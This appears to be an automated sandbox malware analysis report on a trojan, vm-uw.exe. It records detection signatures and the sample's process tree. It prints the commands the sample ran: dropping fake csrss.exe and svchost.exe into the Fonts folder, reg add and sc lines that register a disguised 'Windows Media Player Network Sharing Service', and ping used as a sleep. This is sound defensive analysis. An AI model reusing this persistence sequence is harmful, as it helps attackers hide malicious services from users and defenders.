Edit tour

Windows Analysis Report
vm-uw.exe

Overview

General Information

Sample name:	vm-uw.exe
Analysis ID:	1455404
MD5:	78c6129bfd81f88cfb7171caf2d386a1
SHA1:	f626224572dea0bc2983e3b3986bd1c1af5533ce
SHA256:	aa1ad7c508d497292d1e017b946cc381be204bd641543bcf584da286eb6f685f
Tags:	exetrojan
Infos:

Detection

Score:	96
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Drops PE files with benign system names

Drops executables to the windows directory (C:\Windows) and starts them

Potentially malicious time measurement code found

Sigma detected: Execution from Suspicious Folder

Sigma detected: Files With System Process Name In Unsuspected Locations

Sigma detected: Suspect Svchost Activity

Sigma detected: System File Execution Location Anomaly

Uses cmd line tools excessively to alter registry or file data

Uses ping.exe to check the status of other devices and networks

Uses ping.exe to sleep

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to delete services

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates or modifies windows services

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Modifies existing windows services

PE file contains executable resources (Code or Archives)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Suspicious Process Start Locations

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses reg.exe to modify the Windows registry

Classification

Process Tree

System is w10x64

vm-uw.exe (PID: 6688 cmdline: "C:\Users\user\Desktop\vm-uw.exe" MD5: 78C6129BFD81F88CFB7171CAF2D386A1)

cmd.exe (PID: 5308 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Windows\Fonts\systkm32\vv.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6428 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

mode.com (PID: 5272 cmdline: mode con: cols=16 lines=2 MD5: FB615848338231CEBC16E32A3035C3F8)

PING.EXE (PID: 5252 cmdline: ping 127.0.0.1 MD5: B3624DD758CCECF93A1226CEF252CA12)

csrss.exe (PID: 2832 cmdline: C:\Windows\Fonts\systkm32\csrss.exe WMPNetworkSxc C:\Windows\Fonts\systkm32\svchost.exe MD5: C43D1B84143FB2561F22E1A2C8FACF53)

PING.EXE (PID: 7068 cmdline: ping 127.0.0.1 MD5: B3624DD758CCECF93A1226CEF252CA12)

reg.exe (PID: 6780 cmdline: reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WMPNetworkSxc /v Description /d "Shares Windows Media Player libraries to other networked players and media devices using Universal Plug and Play." /t reg_sz /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

reg.exe (PID: 616 cmdline: reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WMPNetworkSxc /v DisplayName /d "Windows Media Player Network Sharing Service." /t reg_sz /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

reg.exe (PID: 4868 cmdline: reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WMPNetworkSxc\Parameters MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

reg.exe (PID: 5960 cmdline: reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WMPNetworkSxc\Parameters /v AppDirectory /d "C:\Windows\Fonts\systkm32" /t reg_sz /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

reg.exe (PID: 5712 cmdline: reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WMPNetworkSxc\Parameters /v Application /d ""C:\Program Files (x86)\VMware\VMware Workstation\vmware.exe" -x "C:\Windows\Logs\ubu\3333.vmx"" /t reg_sz /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

PING.EXE (PID: 4052 cmdline: ping 127.0.0.1 MD5: B3624DD758CCECF93A1226CEF252CA12)

sc.exe (PID: 4040 cmdline: sc start WMPNetworkSxc MD5: D9D7684B8431A0D10D0E76FE9F5FFEC8)

PING.EXE (PID: 6808 cmdline: ping 127.0.0.1 MD5: B3624DD758CCECF93A1226CEF252CA12)

regini.exe (PID: 6748 cmdline: regini 1.ini MD5: C99C3BB423097FCF4990539FC1ED60E3)

cmd.exe (PID: 2012 cmdline: "C:\Windows\system32\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\HZ~F6EC.tmp.bat" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1808 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PING.EXE (PID: 1404 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)

svchost.exe (PID: 5544 cmdline: C:\Windows\Fonts\systkm32\svchost.exe MD5: 4635935FC972C582632BF45C26BFCB0E)

svchost.exe (PID: 7060 cmdline: C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Sigma Signatures

System Summary

Sigma detected: Execution from Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: C:\Windows\Fonts\systkm32\csrss.exe WMPNetworkSxc C:\Windows\Fonts\systkm32\svchost.exe, CommandLine: C:\Windows\Fonts\systkm32\csrss.exe WMPNetworkSxc C:\Windows\Fonts\systkm32\svchost.exe, CommandLine|base64offset|contains: Xz(D, Image: C:\Windows\Fonts\systkm32\csrss.exe, NewProcessName: C:\Windows\Fonts\systkm32\csrss.exe, OriginalFileName: C:\Windows\Fonts\systkm32\csrss.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Windows\Fonts\systkm32\vv.bat" ", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 5308, ParentProcessName: cmd.exe, ProcessCommandLine: C:\Windows\Fonts\systkm32\csrss.exe WMPNetworkSxc C:\Windows\Fonts\systkm32\svchost.exe, ProcessId: 2832, ProcessName: csrss.exe

Sigma detected: Files With System Process Name In Unsuspected Locations

Source: File created

Author: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\Desktop\vm-uw.exe, ProcessId: 6688, TargetFilename: C:\Windows\Fonts\systkm32\csrss.exe

Sigma detected: Suspect Svchost Activity

Source: Process started

Author: David Burkett, @signalblur: Data: Command: C:\Windows\Fonts\systkm32\svchost.exe, CommandLine: C:\Windows\Fonts\systkm32\svchost.exe, CommandLine|base64offset|contains: , Image: C:\Windows\Fonts\systkm32\svchost.exe, NewProcessName: C:\Windows\Fonts\systkm32\svchost.exe, OriginalFileName: C:\Windows\Fonts\systkm32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\Fonts\systkm32\svchost.exe, ProcessId: 5544, ProcessName: svchost.exe

Sigma detected: System File Execution Location Anomaly

Source: Process started

Author: Florian Roth (Nextron Systems), Patrick Bareiss, Anton Kutepov, oscd.community, Nasreddine Bencherchali: Data: Command: C:\Windows\Fonts\systkm32\csrss.exe WMPNetworkSxc C:\Windows\Fonts\systkm32\svchost.exe, CommandLine: C:\Windows\Fonts\systkm32\csrss.exe WMPNetworkSxc C:\Windows\Fonts\systkm32\svchost.exe, CommandLine|base64offset|contains: Xz(D, Image: C:\Windows\Fonts\systkm32\csrss.exe, NewProcessName: C:\Windows\Fonts\systkm32\csrss.exe, OriginalFileName: C:\Windows\Fonts\systkm32\csrss.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Windows\Fonts\systkm32\vv.bat" ", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 5308, ParentProcessName: cmd.exe, ProcessCommandLine: C:\Windows\Fonts\systkm32\csrss.exe WMPNetworkSxc C:\Windows\Fonts\systkm32\svchost.exe, ProcessId: 2832, ProcessName: csrss.exe

Sigma detected: Suspicious Process Start Locations

Source: Process started

Author: juju4, Jonhnathan Ribeiro, oscd.community: Data: Command: C:\Windows\Fonts\systkm32\csrss.exe WMPNetworkSxc C:\Windows\Fonts\systkm32\svchost.exe, CommandLine: C:\Windows\Fonts\systkm32\csrss.exe WMPNetworkSxc C:\Windows\Fonts\systkm32\svchost.exe, CommandLine|base64offset|contains: Xz(D, Image: C:\Windows\Fonts\systkm32\csrss.exe, NewProcessName: C:\Windows\Fonts\systkm32\csrss.exe, OriginalFileName: C:\Windows\Fonts\systkm32\csrss.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Windows\Fonts\systkm32\vv.bat" ", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 5308, ParentProcessName: cmd.exe, ProcessCommandLine: C:\Windows\Fonts\systkm32\csrss.exe WMPNetworkSxc C:\Windows\Fonts\systkm32\svchost.exe, ProcessId: 2832, ProcessName: csrss.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\Fonts\systkm32\svchost.exe, CommandLine: C:\Windows\Fonts\systkm32\svchost.exe, CommandLine|base64offset|contains: , Image: C:\Windows\Fonts\systkm32\svchost.exe, NewProcessName: C:\Windows\Fonts\systkm32\svchost.exe, OriginalFileName: C:\Windows\Fonts\systkm32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\Fonts\systkm32\svchost.exe, ProcessId: 5544, ProcessName: svchost.exe

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: vm-uw.exe

Avira: detected

Multi AV Scanner detection for submitted file

Source: vm-uw.exe

ReversingLabs: Detection: 71%

Source: vm-uw.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: vm-uw.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: srvany.pdb source: vm-uw.exe, 00000000.00000003.2113641386.0000000000FE6000.00000004.00000020.00020000.00000000.sdmp, vm-uw.exe, 00000000.00000003.2113871549.00000000029F0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000012.00000002.2217182264.0000000001001000.00000020.00000001.01000000.00000007.sdmp, svchost.exe, 00000012.00000000.2216197964.0000000001001000.00000020.00000001.01000000.00000007.sdmp, svchost.exe.0.dr
Source:	Binary string: srvany.pdbl"U source: vm-uw.exe, 00000000.00000003.2113641386.0000000000FE6000.00000004.00000020.00020000.00000000.sdmp, vm-uw.exe, 00000000.00000003.2113871549.00000000029F0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.2217182264.0000000001001000.00000020.00000001.01000000.00000007.sdmp, svchost.exe, 00000012.00000000.2216197964.0000000001001000.00000020.00000001.01000000.00000007.sdmp, svchost.exe.0.dr
Source:	Binary string: H:\Work\haozip\bin\Win32\release\pdb\HaoZip7zSetup.pdb source: vm-uw.exe

Source: C:\Users\user\Desktop\vm-uw.exe

Code function: 0_2_00224F98 FindFirstFileExW,

0_2_00224F98

Networking

Uses ping.exe to check the status of other devices and networks

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1

Source: vm-uw.exe

String found in binary or memory: https://haozip.2345.cc/

Source: C:\Windows\Fonts\systkm32\csrss.exe

Code function: 9_2_00401070 OpenServiceA,GetLastError,DeleteService,GetLastError,

9_2_00401070

Source: C:\Users\user\Desktop\vm-uw.exe	File created: C:\Windows\Fonts\systkm32\	Jump to behavior
Source: C:\Users\user\Desktop\vm-uw.exe	File created: C:\Windows\Fonts\systkm32\vv.bat	Jump to behavior
Source: C:\Users\user\Desktop\vm-uw.exe	File created: C:\Windows\Fonts\systkm32\csrss.exe	Jump to behavior
Source: C:\Users\user\Desktop\vm-uw.exe	File created: C:\Windows\Fonts\systkm32\svchost.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Windows\Fonts\systkm32\1.ini	Jump to behavior

Source: C:\Users\user\Desktop\vm-uw.exe	Code function: 0_2_0020F8DE	0_2_0020F8DE
Source: C:\Users\user\Desktop\vm-uw.exe	Code function: 0_2_001F7C90	0_2_001F7C90
Source: C:\Users\user\Desktop\vm-uw.exe	Code function: 0_2_001E1000	0_2_001E1000
Source: C:\Users\user\Desktop\vm-uw.exe	Code function: 0_2_002130A0	0_2_002130A0
Source: C:\Users\user\Desktop\vm-uw.exe	Code function: 0_2_001FA160	0_2_001FA160
Source: C:\Users\user\Desktop\vm-uw.exe	Code function: 0_2_0022720E	0_2_0022720E
Source: C:\Users\user\Desktop\vm-uw.exe	Code function: 0_2_00205306	0_2_00205306
Source: C:\Users\user\Desktop\vm-uw.exe	Code function: 0_2_002175E5	0_2_002175E5
Source: C:\Users\user\Desktop\vm-uw.exe	Code function: 0_2_001EC600	0_2_001EC600
Source: C:\Users\user\Desktop\vm-uw.exe	Code function: 0_2_0022C6B9	0_2_0022C6B9
Source: C:\Users\user\Desktop\vm-uw.exe	Code function: 0_2_0022B6BC	0_2_0022B6BC
Source: C:\Users\user\Desktop\vm-uw.exe	Code function: 0_2_001EE680	0_2_001EE680
Source: C:\Users\user\Desktop\vm-uw.exe	Code function: 0_2_001F68C0	0_2_001F68C0
Source: C:\Users\user\Desktop\vm-uw.exe	Code function: 0_2_00215958	0_2_00215958
Source: C:\Users\user\Desktop\vm-uw.exe	Code function: 0_2_002189EC	0_2_002189EC
Source: C:\Users\user\Desktop\vm-uw.exe	Code function: 0_2_00217ADE	0_2_00217ADE
Source: C:\Users\user\Desktop\vm-uw.exe	Code function: 0_2_001E3B7E	0_2_001E3B7E
Source: C:\Users\user\Desktop\vm-uw.exe	Code function: 0_2_0022DB44	0_2_0022DB44
Source: C:\Users\user\Desktop\vm-uw.exe	Code function: 0_2_00218BEC	0_2_00218BEC
Source: C:\Users\user\Desktop\vm-uw.exe	Code function: 0_2_0022DBFE	0_2_0022DBFE
Source: C:\Users\user\Desktop\vm-uw.exe	Code function: 0_2_0020DC0C	0_2_0020DC0C
Source: C:\Users\user\Desktop\vm-uw.exe	Code function: 0_2_001F2C50	0_2_001F2C50
Source: C:\Users\user\Desktop\vm-uw.exe	Code function: 0_2_00217C58	0_2_00217C58
Source: C:\Users\user\Desktop\vm-uw.exe	Code function: 0_2_0021FC5D	0_2_0021FC5D
Source: C:\Users\user\Desktop\vm-uw.exe	Code function: 0_2_0022DD1B	0_2_0022DD1B
Source: C:\Users\user\Desktop\vm-uw.exe	Code function: 0_2_00226D60	0_2_00226D60
Source: C:\Users\user\Desktop\vm-uw.exe	Code function: 0_2_001F3D50	0_2_001F3D50
Source: C:\Users\user\Desktop\vm-uw.exe	Code function: 0_2_00218D8D	0_2_00218D8D
Source: C:\Users\user\Desktop\vm-uw.exe	Code function: 0_2_001F8F60	0_2_001F8F60
Source: C:\Windows\Fonts\systkm32\svchost.exe	Code function: 18_2_01001493	18_2_01001493

Source: Joe Sandbox View

Dropped File: C:\Windows\Fonts\systkm32\csrss.exe BBF4C224F9861B2C1F5A1364EE71E38728495B2709621763053B979BA88522F1

Source: vm-uw.exe	Static PE information: Resource name: RT_VERSION type: MIPSEB-LE MIPS-III ECOFF executable not stripped - version 0.79
Source: vm-uw.exe	Static PE information: Resource name: RT_VERSION type: MIPSEB-LE MIPS-III ECOFF executable not stripped - version 0.79

Source: vm-uw.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\reg.exe reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WMPNetworkSxc /v Description /d "Shares Windows Media Player libraries to other networked players and media devices using Universal Plug and Play." /t reg_sz /f

Source: classification engine

Classification label: mal96.troj.evad.winEXE@38/6@0/1

Source: C:\Users\user\Desktop\vm-uw.exe

Code function: 0_2_001F3F50 FormatMessageW,_wcslen,_wcslen,LocalFree,GetLastError,

0_2_001F3F50

Source: C:\Windows\Fonts\systkm32\csrss.exe

Code function: CreateServiceA,GetLastError,CloseServiceHandle,

9_2_00401000

Source: C:\Users\user\Desktop\vm-uw.exe

Code function: 0_2_001E2777 _wcslen,CoCreateInstance,CoCreateInstance,

0_2_001E2777

Source: C:\Windows\Fonts\systkm32\svchost.exe

Code function: 18_2_01001D2C StartServiceCtrlDispatcherA,GetLastError,ExitProcess,

18_2_01001D2C

Source: C:\Windows\Fonts\systkm32\svchost.exe

Code function: 18_2_01001D2C StartServiceCtrlDispatcherA,GetLastError,ExitProcess,

18_2_01001D2C

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6428:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1808:120:WilError_03

Source: C:\Users\user\Desktop\vm-uw.exe

File created: C:\Users\user\AppData\Local\Temp\HZ~F6EC.tmp

Jump to behavior

Source: C:\Users\user\Desktop\vm-uw.exe

Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Windows\Fonts\systkm32\vv.bat" "

Source: vm-uw.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\vm-uw.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\vm-uw.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: vm-uw.exe

ReversingLabs: Detection: 71%

Source: C:\Users\user\Desktop\vm-uw.exe

File read: C:\Users\user\Desktop\vm-uw.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\vm-uw.exe "C:\Users\user\Desktop\vm-uw.exe"
Source: C:\Users\user\Desktop\vm-uw.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Windows\Fonts\systkm32\vv.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\vm-uw.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\HZ~F6EC.tmp.bat"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\mode.com mode con: cols=16 lines=2
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\Fonts\systkm32\csrss.exe C:\Windows\Fonts\systkm32\csrss.exe WMPNetworkSxc C:\Windows\Fonts\systkm32\svchost.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WMPNetworkSxc /v Description /d "Shares Windows Media Player libraries to other networked players and media devices using Universal Plug and Play." /t reg_sz /f
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WMPNetworkSxc /v DisplayName /d "Windows Media Player Network Sharing Service." /t reg_sz /f
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WMPNetworkSxc\Parameters
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WMPNetworkSxc\Parameters /v AppDirectory /d "C:\Windows\Fonts\systkm32" /t reg_sz /f
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WMPNetworkSxc\Parameters /v Application /d ""C:\Program Files (x86)\VMware\VMware Workstation\vmware.exe" -x "C:\Windows\Logs\ubu\3333.vmx"" /t reg_sz /f
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc start WMPNetworkSxc
Source: unknown	Process created: C:\Windows\Fonts\systkm32\svchost.exe C:\Windows\Fonts\systkm32\svchost.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\regini.exe regini 1.ini
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
Source: C:\Users\user\Desktop\vm-uw.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Windows\Fonts\systkm32\vv.bat" "	Jump to behavior
Source: C:\Users\user\Desktop\vm-uw.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\HZ~F6EC.tmp.bat"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\mode.com mode con: cols=16 lines=2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\Fonts\systkm32\csrss.exe C:\Windows\Fonts\systkm32\csrss.exe WMPNetworkSxc C:\Windows\Fonts\systkm32\svchost.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WMPNetworkSxc /v Description /d "Shares Windows Media Player libraries to other networked players and media devices using Universal Plug and Play." /t reg_sz /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WMPNetworkSxc /v DisplayName /d "Windows Media Player Network Sharing Service." /t reg_sz /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WMPNetworkSxc\Parameters	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WMPNetworkSxc\Parameters /v AppDirectory /d "C:\Windows\Fonts\systkm32" /t reg_sz /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WMPNetworkSxc\Parameters /v Application /d ""C:\Program Files (x86)\VMware\VMware Workstation\vmware.exe" -x "C:\Windows\Logs\ubu\3333.vmx"" /t reg_sz /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc start WMPNetworkSxc	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\regini.exe regini 1.ini	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior

Source: C:\Users\user\Desktop\vm-uw.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\vm-uw.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\vm-uw.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\vm-uw.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\vm-uw.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\vm-uw.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\vm-uw.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\vm-uw.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\vm-uw.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\vm-uw.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\vm-uw.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\vm-uw.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\vm-uw.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\vm-uw.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\vm-uw.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\vm-uw.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\vm-uw.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\vm-uw.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\vm-uw.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\vm-uw.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\vm-uw.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\vm-uw.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\vm-uw.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\vm-uw.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\vm-uw.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\vm-uw.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\vm-uw.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\vm-uw.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\vm-uw.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\vm-uw.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\vm-uw.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mode.com	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mode.com	Section loaded: ureg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mode.com	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Fonts\systkm32\csrss.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Fonts\systkm32\svchost.exe	Section loaded: apphelp.dll	Jump to behavior
